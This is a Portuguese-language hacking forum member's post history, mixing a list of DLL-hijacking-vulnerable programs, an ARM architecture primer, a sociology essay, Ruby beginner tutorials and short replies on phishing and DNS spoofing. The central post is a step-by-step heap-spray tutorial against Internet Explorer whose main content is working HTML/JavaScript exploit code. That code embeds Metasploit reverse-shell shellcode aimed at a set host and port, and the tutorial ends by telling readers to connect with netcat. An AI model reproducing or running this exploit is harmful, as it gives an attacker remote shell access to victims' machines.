    SEasyOfficeRecovery (dwmapi.dll) – anT!-Tr0J4n
    VideoCharge Studio .vsc (dwmapi.dll , quserex.dll) – anT!-Tr0J4n
    Kaspersky Internet Security (cwheapgrd.dll) – anT!-Tr0J4n
    SmartSniff (wpcap.dll) – anT!-Tr0J4n
    DVD PixPlay (libhav-1.0.1.dll,libxpm-1.0.0.dll, libogg-2.1.0.dll, libgif-1.1.0.dll) – anT!-Tr0J4n
    yloader (dwmapi.dll) – anT!-Tr0J4n
    ooVoo (dwmapi.dll) – anT!-Tr0J4n
    VirIT eXplorer Lite (tg-scan.dll) – anT!-Tr0J4n
    Nero Startsmart 6.3.1.26 .nr3 (neasl.dll) – fvox
    Media Player Classic 1.3.1748.0 (vsfilter.lang) – fvox
    Free 3GP Video Converter .3gp (quserex.dll) – Crazy_Hacker
    lpksetup.exe .mic (oci.dll) – TurboBorland
    BitTorrent 7.1 (msimg32.dll, psapi.dll, ws2_32.dll, ws2help.dll, lpk.dll, usp10.dll, crypt32.dll, netapi32.dll, msi.dll, shfolder.dll, dnsapi.dll, uxtheme.dll, clbcatq.dll, comres.dll, lphlpapi.dll, mprapi.dll, activeds.dll, adsldpc.dll, atl.dll, rtutils.dll, samlib.dll, setupapi.dll, xpsp2res.dll) – Salvatore Fresta
    Nevercenter Silo v2.1.1 .sib (wintab32.dll) – LiquidWorm
    Native Instruments Guitar Rig 4 Player v4.1.1 .nkm .nkp (libjack.dll) – LiquidWorm
    Native Instruments Reaktor 5 Player v5.5.1 .ens .ism .map .mdl (libjack.dll) – LiquidWorm
    Native Instruments Service Center 2.2.5 .naf (schannel.dll) – LiquidWorm
    Native Instruments Kontakt 4 Player v4.1.3 .ncw .nki .nkm .nks (libjack.dll) – LiquidWorm


    Tentei ser o mais breve e conciso o possivel, indo também diretamente ao assunto .

    É só isso moçada !
#4
Bugs | Exploits | Vulnerabilidades / Heap-Spray Attack
03 de Janeiro , 2011, 12:38:30 PM

.   Heap Spray Attack



Breve introdução .

Creio que a todos os users do forum ou aos que agora lêem este artigo, o nome "Buffer Overflow", "Stack Overflow" e etc [...] é bem comum, as falhas sempre existiram e sempre iram existir, pois o ser humano é falho , logo seu trabalho, tera reflexos do mesmo. E se a tecnologia evolui, a mente evolui, as tecnicas de segurança evoluem, as tecnicas de ataque também evolouem , entendeu a logica ? (;




Pre-Ataque .

Antes precisamos de teoria, certo ?
Esta é uma diferente tecnica para a exploração de falhas que de certa forma já eram existentes, portanto o que mudou aqui foi a forma de explora-las. O HSA é usado muito no hijack, Em ataques a browsers, Alocando objetos que contem algum code malicioso dentro dos processos da Heap, então provocando uma vuln para 'forçar uma execução' do code da 'heap region' .
Pode-se sim compara-la aos demais overflows, mas neste tipo de ataque é desnecessario um conhecimentos expecífico/detalhado da Estrutura da memoria, porem até agora sabemos que a localização dos objetos na heap são imprevisiveis .



Este é um dos exemplos que rapidamente ví, em um artigo da microsoft sobre o Nozzle e as tecnicas de segurança da aplicação e do usuario .
Nesta imagem de gatinhos não há aparentemente nada maléfico, porem no campo de comentario é existente um payload que previamente executara um Heap-Spraying Attack .



Tendo em vista a imagem observamos que o HSA é usado quando o call ou o jmp esta dentro a memoria invalida, e essa memoria invalida memoria pode aparecer no intervalo do endereço da heap, nao em DLL ou em endereço virtual e também nao deve ser superior a 0x7fffffff pois aí ja entramos no endereço do espaço do kernel.


Heap-Spray Attack , now !

A partir disto vamos a uma demonstração :

Vamos começar com o code que ira causar o buffer e respectivamente chashar o browser :


<html>
<script>

// criara 200 comentarios usando as três strings AAA
var Array1 = new Array();
for (i = 0; i < 200; i  )
{
  Array1[i] = document.createElement("COMMENT");
  Array1[i].data = "AAA";
}

var Element1 = null;

// função chamada pela inserção da img
// cria e explui objetos, chama a função para reescrever a memoria
function FRemove(Value1)

  Element1 = document.createEventObject(Value1); // cria o objeto da tag img
  document.getElementById("SpanID").innerHTML = ""; // coloca o objeto pai pra null afim de acionar o heap free()
  window.setInterval(FOverwrite, 50); // chama a funçao de reescrever a cada 50 ms
}

// função tenta reescrever a heap memory do objeto expluido, em seguida acessar o objeto para causar o crash
function FOverwrite()
{
  buffer = "\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA";
  for (i = 0; i < Array1.length; i  )
  {
    Array1[i].data = buffer; // coloca os dados do comentario no buffer e tenta reescrever a heap memory do objeto excluido
  }
  var a = Element1.srcElement; // acessa o ponto de exclusão do objeto e causa o crash
}

</script>

<body>
<span id="SpanID"><IMG src="/abcd.gif" onload="FRemove(event)" /></span></body></html>
</body>
</html>



então a partir disto voce pode upar atraves do teu proprio sistema com o apache o code e abrir na maquina alvo o browser , afim de ter mais detalhes voce tera que abrir o debugger e por conseguinte ir atrás dos dados, verifique as instruções que estejam envolvidas com a eax. após isto veja bem :

Com metasploit vemos no exploit a criaçao de strings em torno de 870400 bytes que se comprime em "0c0d"



var Shellcode = unescape( '%ucccc%ucccc');
var SprayValue = unescape('%u0c0d');


jogue isto no teu code agora filho :



<html>
<script>

var Array1 = new Array();
for (i = 0; i < 200; i  )
{
  Array1[i] = document.createElement("COMMENT");
  Array1[i].data = "AAA";
}

var Element1 = null;

function HeapSpray()
{
  Array2 = new Array();
  var Shellcode = unescape( '%ucccc%ucccc');
  var SprayValue = unescape('%u0c0d');
  do { SprayValue  = SprayValue } while( SprayValue.length < 870400 );
  for (j = 0; j < 100; j  ) Array2[j] = SprayValue   Shellcode;
}

function FRemove(Value1)
{
  HeapSpray();
  Element1 = document.createEventObject(Value1);
  document.getElementById("SpanID").innerHTML = "";
  window.setInterval(FOverwrite, 50);
}

function FOverwrite()
{
  buffer = "\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d";
  for (i = 0; i < Array1.length; i  )
  {
    Array1[i].data = buffer;
  }
  var t = Element1.srcElement;
}

</script>

<body>
<span id="SpanID"><IMG src="/abcd.gif" onload="FRemove(event)" /></span></body></html>
</body>
</html>


Volte para o debugger e analise as coisas mais uma vez com o 'novo' code, atualize o browser e verifique novamente as intruções da eax e seus valores, dados e etc.

Verifique o DWORD no Dump do debugger, agora na opçao 'disassembler' veja intrução OR AL, 0D. Que pode ser substituida pelo hexadecimal \xOC .
Bem, então perceba que as instruçoes da linguagem de se repetem por 0C0D podem atuar como NOP respectivo para criarmos um NOPsled que nos permite rodar a nossa shell .
lembre-se da condição da shellcode = EAX   0x34

A partir desses estudos vemos o quão imprevisivel essa tecnica é, como já foi dita .

agora sim pegue o shellcode do metasploit :


// windows/shell_reverse_tcp - 314 bytes
// [url]http://www.metasploit.com[/url]
// LHOST=192.168.20.11, LPORT=443, ReverseConnectRetries=5,
// EXITFUNC=process
%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30%u0c52%u528b%u8b14%u2872%ub70f
%u264a%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752%u528b%u8b10
%u3c42%ud001%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49
%u8b34%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475%u7d03%u3bf8%u247d%ue275
%u8b58%u2458%ud301%u8b66%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424%u5b5b
%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86%u3368%u0032%u6800%u7377%u5f32%u6854
%u774c%u0726%ud5ff%u90b8%u0001%u2900%u54c4%u6850%u8029%u006b%ud5ff%u5050%u5050
%u5040%u5040%uea68%udf0f%uffe0%u89d5%u68c7%ua8c0%u0b14%u0268%u0100%u89bb%u6ae6
%u5610%u6857%ua599%u6174%ud5ff%u6368%u646d%u8900%u57e3%u5757%uf631%u126a%u5659
%ufde2%uc766%u2444%u013c%u8d01%u2444%uc610%u4400%u5054%u5656%u4656%u4e56%u5656
%u5653%u7968%u3fcc%uff86%u89d5%u4ee0%u4656%u30ff%u0868%u1d87%uff60%ubbd5%ub5f0
%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300
%ud5ff
[code]


Agora finalize seu html :


[code]
<html>
<script>

var Array1 = new Array();
for (i = 0; i < 200; i  )
{
  Array1[i] = document.createElement("COMMENT");
  Array1[i].data = "AAA";
}

var Element1 = null;

function HeapSpray()
{
  Array2 = new Array();
  // msfpayload windows/shell_reverse_tcp LHOST=xxx.xxx.xx.xx LPORT=yyy J
  var Shellcode = unescape( '%u9090%u9090%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86%u3368%u0032%u6800%u7377%u5f32%u6854%u774c%u0726%ud5ff%u90b8%u0001%u2900%u54c4%u6850%u8029%u006b%ud5ff%u5050%u5050%u5040%u5040%uea68%udf0f%uffe0%u89d5%u68c7%ua8c0%u0b14%u0268%u0100%u89bb%u6ae6%u5610%u6857%ua599%u6174%ud5ff%u6368%u646d%u8900%u57e3%u5757%uf631%u126a%u5659%ufde2%uc766%u2444%u013c%u8d01%u2444%uc610%u4400%u5054%u5656%u4656%u4e56%u5656%u5653%u7968%u3fcc%uff86%u89d5%u4ee0%u4656%u30ff%u0868%u1d87%uff60%ubbd5%ub5f0%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300%ud5ff');
  var SprayValue = unescape('%u0c0d');
  do { SprayValue  = SprayValue } while( SprayValue.length < 870400 );
  for (j = 0; j < 100; j  ) Array2[j] = SprayValue   Shellcode;
}

function FRemove(Value1)
{
  HeapSpray();
  Element1 = document.createEventObject(Value1);
  document.getElementById("SpanID").innerHTML = "";
  window.setInterval(FOverwrite, 50);
}

function FOverwrite()
{
  buffer = "\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d";
  for (i = 0; i < Array1.length; i  )
  {
    Array1[i].data = buffer;
  }
  var t = Element1.srcElement;
}

</script>

<body>
<span id="SpanID"><IMG src="/abcd.gif" onload="FRemove(event)" /></span></body></html>
</body>
</html>


tente se conectar com o nc pela porta usada (;


Finalizado o artigo , deixarei alguns otimos links :

http://www.metasploit.com/redmine/projects/framework/repository/revisions/8136/entry/modules/exploits/windows/browser/ie_aurora.rb

http://sf-freedom.blogspot.com/2006/06/heap-spraying-introduction.html

http://research.microsoft.com/en-us/um/people/livshits/papers/pdf/usenixsec09b.pdf

vejam os artigos sobre buffer overflow , stack overflow, e outros pelo forum se voce não entendeu algumas coisas .


Agradeço a todos,


[]'s
#5
Eletrônica | Hardware / Understanding ARM architecture
03 de Janeiro , 2011, 12:34:31 PM


Breve Introdução da Arquitetura ARM .

Começando com uma linha basica de raciocinio e ideia vamos iniciar com o simples conceito de sistema operacional, que espero eu, todos já estejam cansados de ouvir, ler e concerteza, saber .
A ARM (antes: Acorn RISC Machine, atualmente: Advanced RISC Machine) é a arquitetura de um processador de 32 bits. Muito famoso por sua carcteristica de oferecer um alto desempenho em pouco espaço requerido pela maquina, Observando isto percebemos a ligaçao entre ARM e RISC (Reduced Instruction Set Computer) que vem a ser um conjunto reduzido de instruções em um computador .
Na epoca do inicio da ARM a maioria dos processadores precisavam de apenas 13 bits para alocar todas as constantes de um programa, mas, se uma vez utilizada em um sistema com 32 bits ela já estaria armazenada em 'cache' para que pudesse ser executada mais rapidamente da proxima vez.
Logo isto define o porque a Arquitetura ARM trabalha com 32 Bits .



Registradores   


Além de Trabalhar também com 16 Registradores que os principais são :

   
  • PSR   Program Status Register
  • SP   Stack Pointer
  • PC   Program Counter
  • LR   Link Register



Declarados como mais principais ainda são os :

  • Link Register (LR) -R14- > Cujo Contém o endereço da proxima instrução a ser executada, após uma sub-rotina - Branch And Link -
  • Program Counter (PC) -R15- > Cujo Contém também o endereço da proxima instrução a ser executada, mas pelo Processador .


Instruções .




Lembre-se que a arquitetura ARM foi desenvolvida para dar mais velocidade e consumir menos energia . Por isso carrega a linha de processadores RISC , que logo recebe o adjetivo de 'Instruções Reduzidas'. Mas tomemos cuidado ao dizer isto, pois quando nos refirimos a Instruçoes Reduzidas, não quer dizer que propriamente ditos os numeros de instruções são menos do que o de um CISC por exemplo, o que acontece é que as instruçoes são executadas com no maximo um ciclo de memoria além de obter muito menos dados carregados nas instruções. Mas muitos RISC's tem até mais instruções que alguns CISC's
Outras caracteristicas das instruções são :

  • Modos de endereçamento Simples.

  • Arquitetura LOAD / STORE, assim as operaçoes interagem com o conteudo dos Registradores, não com o da memoria diretamente

  • Tamanho fixo dos campos das instruções.

  • Instruções múltiplas de LOAD / STORE para melhorar a performace .

Continuando o assunto de Instruções designaremos seus tipos .

Classificando-as em 6 classes, muitas vezes denominadas de "Large Classes"
Instruções de Branch > Troca de fluxos de instruções escrevendo endereços dentro do Program Counter (PC)
Instruções de Processamento de Dados > Responsavel por instrunções logicas . ex : instruçoes aritmeticas . Vejam todas logo mais abaixo :


  • Instruções para tranferencia de registradores de status > Possuem duas, sendo elas : MRS ; MSR, a primeira move um PRS para um de nivel geral, e o segundo faz o contrario .

  • Instruções LOAD / STORE > são divididas em três : faz L/S de um unico registrador ou faz L/S para um Geral e o que troca o endereço do registrador pelo da memoria .

  • Instruções de co-processador > são operações que se iniciam no co-processador que pode trandeferir dados para a memoria e a memoria para ele .

  • Instruções de geraçao de exceções > A instrução SWI realiza uma interrupçao no software muitas vezes uasada para realizar uma chamada ao SO .


Modos de operações da Arquitetura ARM

  • User > Execução comum de programas e com limitações ao acesso dos Registradores .

  • FIQ (Fast Interrupt) > Transferencia Rapida de Dados .

  • IRQ (Interrupt) > Interrupções em Geral.

  • Supervisor > Modo Restrito/Protegido para com o acesso do Sistema Operacional.

  • Abort > Implementa e/ou protege a Memoria Virtual .

  • Undefined > Suporte para emulação de co-processadores .

  • System > A partir da versao quatro a ARM implementou esse modo para executar tarefas de privilegio do Sistema Operacional .





Memoria .
Os processadores ARM foram feitos para serem endereçados de byte em byte .
Além de ser dividida em duas Partes : a RAM e a ROM .
Na primeira e principal é onde tem-se : Cache de instrução e dados separados, ́areas separadas de memoria para instruções e dados, sistema DMA para acessar a memória, buffer de escrita e duas micro-TLBs.






Referencias

http://pt.wikipedia.org/wiki/RISC
http://pt.wikipedia.org/wiki/Arquitetura_ARM
http://books.google.com.br/booksid=vdk4ZGRqMskC&printsec=frontcover&source=gbs_ge_summary_r&cad=0#v=onepage&q&f=false



- null -

Fiquem na paz , qualquer duvida, estamos ae !

[]'s
#6
Penetration Tests / Re:Desktop Phishing no Windows
16 de Novembro , 2010, 12:17:53 PM
old, but very nice , (:
#7
Download Center / SQLFury
14 de Novembro , 2010, 06:09:37 PM
Esta ferramenta possibilita o user a testar a URL afim de saber se a mesma esta vulneravel a SQLinjection ou outras falhas . Pode ser usado pelo proprio admin ou para pen tests.

http://www.sqlfury.com/download.html

good hacking, champs .
#8
O inicio e o fim . Parte segunda .
A partir do Fim do sistema Feudal nós temos que :
O pensamento e a necessidade de buscar novas fontes e uma reestruturação da economia era de suma importancia .
" No tempo do Feudalismo " , a evolução era de fato, quase zero . Sem querer desmoralizar o mesmo, Mas era realmente algo difícil de acreditar que durou tanto tempo e que foi tão longe , Isto nos remete a ideia de Tédio Formal .
È tudo aquilo que por si só , é estavel, não apresenta mudanças e seu estado de evolução é gradativamente zero .
Mas no caso do Feudalismo , Não é um caso tão simples, pois a partir do sistema de produção, tínhamos um sistema Hierárquico, Cultural, e assim por diante .. Por isso, é tão abordado pelos estudiosos; Mas em contra ponto com o seu fim, as pessoas da epoca viram uma necessidade de mudanças em suas ideias e quanto ao raciocínio empregado para se obter o lucro , fruto do novo sistema criado, O capitalismo .
Assim, sendo, A produção deixou de ser apenas de sub-existência e passou a ser lucrativa .
Vendo o homem como apenas mais uma forma de gerar capital o ser humano passou a ser um Objeto de Lucro, ou como chamarei , Variavel de Ganho .
Assim, como De ganho, o homem se tornou mais instável e os conflitos eram visto de outras formas .
Logo ninguem se preocupava mais em Teocentrismo ou Heliocentrismo mas sim, no egocentrismo, o ponto fundamental do novo raciocínio humano . Sim, a Razão fui buscada, o ´´pensar´´ tornou-se algo crucial, ainda mais com o avanço obtido na tecnologia, porem, o pensamento do homem passou a se voltar a ele mesmo.
O Renascimento, não foi capaz de segurar o que muitos chamam de Bom Selvagem , A sociedade cresceu, tornou-se capitalista e as revoltas, por Liberdade tornaram-se Algo comum, È nisso que vivemos, é nisso que nos instalamos, na luta inconstante pela liberade, que talvez, por completa, jamais sera alcançada.
Então , o Mundo conhece o poder cru . A livre Ordem ( ou Espontânea ordem ) O ditatorialismo alcançou os ouvidos de quem não o conhecia, então, A guerra, já não era por Deus, Por sí,
A guerra era guerra . salvo os que não tinham como combater .
O poder era o que as pessoas pensavam, e de fato, O pensamento voltou-se para as vontades do homem, As estratégias, eram um grande exemplo disso .
A economia Mostrava que quem tinha mais, era mais rico , Quem era mais rico, tinha mais poder, quem tinha mais poder , era dono do Mundo . (Louvável Lógica 
Pessoas se matavam pelo seu ´´país´´, outras pelo dinheiro , e enquanto isso, num vilarejo distante chamado Brasil, Alguns poucos lutavam pela liberdade .
A objetividade passou a ser uma estrutura nova na mente humana, chega de rodeios, a subjetividade me faz perder tempo, e tempo, é dinheiro .
Addio Banchiere ( Adeus Banqueiro . )

Por : Ômar Fontenele a.k.a f0nt_Drk
#9
Penetration Tests / Re:Desktop Phising (Windows)
14 de Novembro , 2010, 03:32:04 PM
DNS spoof . (:
#10
good fucking , guy !

#11
Darkers News / Re:Seja Colunista do BloG Hacker News Brasil
11 de Novembro , 2010, 05:21:22 PM
Posso postar textos sobre analise sociológica, filosofia, Ruby, ASM , (:
#12
Hacker MinD - [ Mente Hacker ] / Re:We All Want to Be Young
11 de Novembro , 2010, 02:56:49 PM
Bem interessante .
#13
Programação / Re:Tutorial Ruby with Shoes
11 de Novembro , 2010, 02:32:44 PM
Obrigado, e espero que as pessoas se interessem por Ruby e o quanto antes possa ser criada uma categoria .
Espero contribuir sempre com o forum, abraço ;*
#14
Programação / Ruby for all - II
11 de Novembro , 2010, 02:28:18 PM
|--------------------------------|
|Campanha RUBY FOR ALL|
|--------------------------------|





Vamos começar :

Classes

Nas Classes nós podemos juntar novos metódos, modelos e o que a imaginação deixar, podemos também escrever as classes de any maneiras e enfim, vamos a um code que depois eu irei explicar :


class Jogador
   def initialize(nome,idade,pontos)
    @nome = nome
    @idade = idade
    @pontos = pontos
   end
   def to_s
    "nome:"+@nome+" idade:"+@idade.to_s+" pontos:"+@pontos.to_s
   end
end

nba = Jogador::new("Lebron","28","720")
puts nba


Bom, vocês devem ter percebido que os 'codes' agora estao diferentes, não vou usar mais os codes no interpretador e sim no 'SciTE' é o editor de texto que vem com o ruby e se tu tiver usando linux é só escrever o code e depois rodar com o comando do ruby.
Deixa eu explicar agora isto aí que você viu :
'class' é o modo em que sempre vamos começar uma 'classe' , depois eu chamei ela de 'Jogador' . 'def' que vocês já viram é usado em conjunto com 'initialize' que é outro parametro 'fixo' para se iniciar uma classe, logo depois entre parentese coloco o nome , idade e pontos que seram os componentes da classe . Bom, como eu citei no texto passado existem varios
depois atribuimos as variaveis de instancia seus respectivos 'nomes'
depois usamos o to_s para transformar objetos em strings depois colocamos que o nome é igual a "+@nome+" e assim vai, não entedeu, espera, vai entender agora : embaixo eu chamo tudo isso de 'nba' para depois atribuir os valores reais de cada um, manjou ? é simples .


PLUS , então vamos a nossa SubCategora :

Variaveis de Instância

Essas variaveis são como variaveis especificas que no caso são atribuidas ao componentes .

" @nome = nome "
E para atribuirmos essas variaveis é só usar o '@' antes da variavel manjaram ?

e bom, já que eu estou falando sobre Variaveis vamos aprofundar um pouco mais :
As variaveis no Ruby são 'diferenciadas' pelas suas diferentes formas oficiais de serem nomeadas , como o '@' antes da variavel ou o '$' e assim vai ..

Variaveis Globais (ou Publicas)


irb(main):001:0> $var_gen = "abc"
=> "abc"

Essa como vocês veem é iniciada pelo '$' e o nome já diz tudo né .

A outra é variavel local que é simples não se usa nenhuma nomenclatura especial, essas vocês já viram né ?! (:



PLUS ||

Vamos ver algumas coisas a mais agora, hehe .


Ranges

Isto é bem simples moçada, por isso nao vai ocupar muito a cabeça de vocês :


irb(main):001:0> r = 0..100
=> 0..100
irb(main):002:0> r2 = 0...100
=> 0...100
irb(main):003:0>

é o seguinte, no primeiro caso (r) o meu intervalo vai de 0 até 100 já no segundo intervalo(r2) vai de 0 a 99 pois quanto menos pontinhos tiver, maior será o intervalo.

Arrays

Aposto que você já ouviu falar, não é mesmo ?

Aqui no Ruby é assim :


irb(main):003:0> a = ['Eu', 3, 'Ruby']
=> ["Eu", 3, "Ruby"]
irb(main):004:0>


Nesse caso eu 'misturei' agora vamos usar só Strings :


irb(main):003:0> b = %w(arroz, feijao, carne, miojo, frango)
=> ["arroz,", "feijao,", "carne,", "miojo,", "frango"]
irb(main):004:0>


Olha o exemplo da compra do mês aí em cima ^^ (:
e se quisermos escrever isso aí só que de forma 'separada' :


irb(main):001:0> a = []
=> []
irb(main):002:0> a.push "um"
=> ["um"]
irb(main):004:0> a.push "dois"
=> ["um", "dois"]
irb(main):005:0> a.push "tres"
=> ["um", "dois", "tres"]
irb(main):006:0>


entenderam ? é mole !
#15
Programação / Ruby for all - I
11 de Novembro , 2010, 02:24:57 PM
Segue ae um breve texto que escrevi sobre Ruby, para os iniciantes .

|------------------------------------|
| Campanha RUBY FOR ALL .  |
|------------------------------------|




Salve, Salve, moçada (:

Adiantando, Ruby é uma linguagem contemporânea, que abrange muitos recursos porem de forma seca e sem frescura, é rapida, muito poderosa quando se sabe usar, ainda não é muito difundida, porem será, com certeza .

Bom, O que é mesmo esse tal de "Ruby" ?
firmeza moçada, é o seguinte,
Temos como base do ruby, uma sintaxe simples, a mesma é oriantada a objetos, não a comparemos com Python ou Perls, pois Quando falamos orientada a objeto, tudo nela, é "considerado um objeto", algo que tambem é interassante frizar é que não precisamos eventualmente "declarar uma variavel", apenas com o uso de 'nomenclaturas' nao para especificar, e sim, delimitar o escopo da mesma, bom as 'coisas' no ruby sao muito exploraveis, mas relaxa, nao lembro de cabeça, ao longo do curso eu vou falando e ai voces pegam o bloquinho e pá, ta ligado [:

|------------------------------------------------|
| Numbaah one - Instalando o Ruby     |
|------------------------------------------------|

Bem, voces podem baixar o Ruby no proprio site, no final do texto estarei disponibilizando alguns links uteis
é o seguinte, depois de baixado e intalado o Ruby no seu sistema operacional seja ele qual for, pois o Ruby é uma otima linguagem feita para todos os Sistemas, num linux voce abre uma shell e digita :

irb

já num Windows, basta voce ir no atalho localizado no menu iniciar do FXRI

okay agora entao, que se inicie a festa

|--------------------------------------------------------------|
|Numbaah two - Conceitos Basicos da Linguagem |
|--------------------------------------------------------------|

Bom, nada melhor do que falarmos sobre Numeros, no Ruby trabalharemos com Valores inteiros ( EX: 1,10,255) e Numeros de Flutuantes ou como sao chamados na maioria das linguagens de "Float"
Vamos testar o nosso ruby, com ele aberto, digitemos nele o seguinte comando:


puts 1 + 1

Bom, muito simples, o comando "puts" imprimira o valor da operacao realizada, lembrando que para somar usamos o "+", para subtrair usamos o "-", para multiplicar usamos o "*" e para dividirmos usamos o "/"
È logico que voce já devem entao imaginar o que o ruby nos retornara nao é ?
entao vejamos..

puts 1 + 1
2
=> nil

Sim, Claro, voces já deveriam imaginar isso, nao é ?  mas voces perguntam : o que é aquele "nil" ali ein Drk..
é simples, ele representa que voce realizou uma açao de valor nulo, resultado do uso do comando "puts" que sempre retorna um valor nulo ou "um nada absoluto" 
Entao agora voces podem testar Diversas acoes, multiplicando, somando e fazendo o caralho a quatro  lembrando, que isso sao apenas conceitos basicos..
|-------------------------------------------------------------------|
|Numbaah two - Conceitos Basicos da Linguagem //    |
|-------------------------------------------------------------------|
Agora iremos trabalhar com String  bem, levando em conta que voce já saiba programar em alguma outra linguagem, nao irei explicar nada referente ao mesmo..
entao, tentemos dar um "Olá mundo" no Ruby,isto é muito simples..
usamos o comando..

puts 'ola mundo, strondando até umas hora,'

entao, vejamos o que nos retornou o
Ruby..


irb(main):002:0> puts 'ola mundo, strondando até umas hora, krlh ;@'
ola mundo, strondando até umas hora, krlh ;@
=> nil

é simples, isso nós já poderiamos imaginar..
Mas nós podemos Brincar um pouco mais..


puts ' diz ae ' + ' mocada rlz '

e entao vajemos o resultado


diz ae mocada rlz

Muito simples não ? ^^'

mas pra deixar bem claro, vejamos a diferenca de uma operacao numerica de uma operacao de manipulacao de string


irb(main):001:0> puts '12' + '12'
1212
=> nil
irb(main):002:0> puts 12 + 12
24
=> nil

viram, como os apostrofos indicam o uso de uma string, e quando nao usados, eles leem o valor como numero comum, acho que já deu pra pegar a ideia de boa né nao mocada ? entao okay, bumba let's go :DD

|--------------------------------------------------------------------|
|Numbaah three Conceitos Basicos da Linguagem ///   |
|--------------------------------------------------------------------|

Bom, agora abordaremos o topico "variaveis"
vamos entao, criar uma variavel em ruby


var = 'é nois que tá ' + 'cachorro'
=> "é nois que ta cachorro"
puts var
é nois que tá cachorro
=>nill

Podemos entao, fazer o seguinte..


var = 'eu nao sei como dizer '
=> "eu nao sei como dizer"
var1 = 'te amo'
=> "te amo"
var2 = var + var1
=> "eu nao sei como dizer te amo"

Viu, como podemos trabalhar com as variaveis, ao longo do curso, nos iremos aprender mais e se voce ainda nao entendeu, nao pare. continua, champs
Existe um "plus" ae pra mandar pra voces, como eu disse num previo conceito da linguagem ali em cima, não precisamos declara-las, usamos apenas nomenclaturas, tão sakando ? vamo ver essas nomen.. alguma coisa [:
'var' = variavel local, '@var' = variavel de instancia,
'$var'= variavel global
Vamos brincar um pouco mais com numeros,



irb(main):037:0> hex = 0xF
=> 15
irb(main):038:0> bin = 0b1111
=> 15


Aqui em cima eu realizei uma simples 'conversão' eu passei o valor hexa '0xF' para um numero real (classe dos Reais, numero comum) o mesmo com o binario '0b1111' mas rola uma pergunta, porque os dois deram o mesmo resultado ? é facil né, porque eu passei de hexa pra comum e o outros de binario pra comum, manjou ? essas são algumas brincadeiras que rola no Ruby .

|----------------------------------------------------------|
|Numbaah four - Ruby, ná pratica, Metodos !    |
|----------------------------------------------------------|
Bem, em vez de nós estarmos sempre digitando o que queremos e depois digitando de novo e de novo.. ¬¬' vamos usar um metodo que daqui pra frente sera otimo para nós o def, que é um dos metodos, que começa com "def" e termina com "end".
e entao vamos testar..


irb(main):001:0> def drk
irb(main):002:0> puts 'é nois que owna calango'
irb(main):003:0> end

como podemos ver, iniciamos o 'def' e o chamamos de "drk", usamos o comando 'puts' para inserir a string 'é nois que owna calango' e depois usamos o "end" para finalizarmos a nossa açao, e entao agora iremos chamar o nosso processo com o comando drk que na verdade é apenas o nome do nosso "def" que pode ser qualquer um..

irb(main):004:0> drk
é nois que owna calango
=> nil

E entao, vimos com funciona a parada ;D
Dai voce pode usar sua imaginação, mas calma, ainda nao acabamos, estamos apenas começando
Bem, vamos a mais um code, pra eu explicar mais


print ("digite seu nome:" )
name = gets()
puts (" Bem Vindo ao sistema #{name}" )


Bem, da pra ver que isto é simles, primeiramente, voces tao vendo que eu usei o "print", calma ainda estamos progamando sim, em Ruby, vou explicar, pra voces entenderem, basta entrar no interpretador ruby, e testar usar o comando print e o comando puts, os dois tem a mesma função, porem o puts, adiciona automaticamente, uma linha abaixo, já o print, deixa tudo na mesma linha ;D
E agora, que historia de Gets é essa, bem muito simples, ele tem a mesma funçao do "scanf" na linguagem C, só que manipulamos ele de forma diferente, do C, voces já devem ter percebido, definimos "name" igual a "gets ()" que nao é obrigatorio o uso dos parenteses, depois, nós já usamos o puts, que não tem problema, voces podem ver o "#{name}" que é onde podemos chamar a função gets.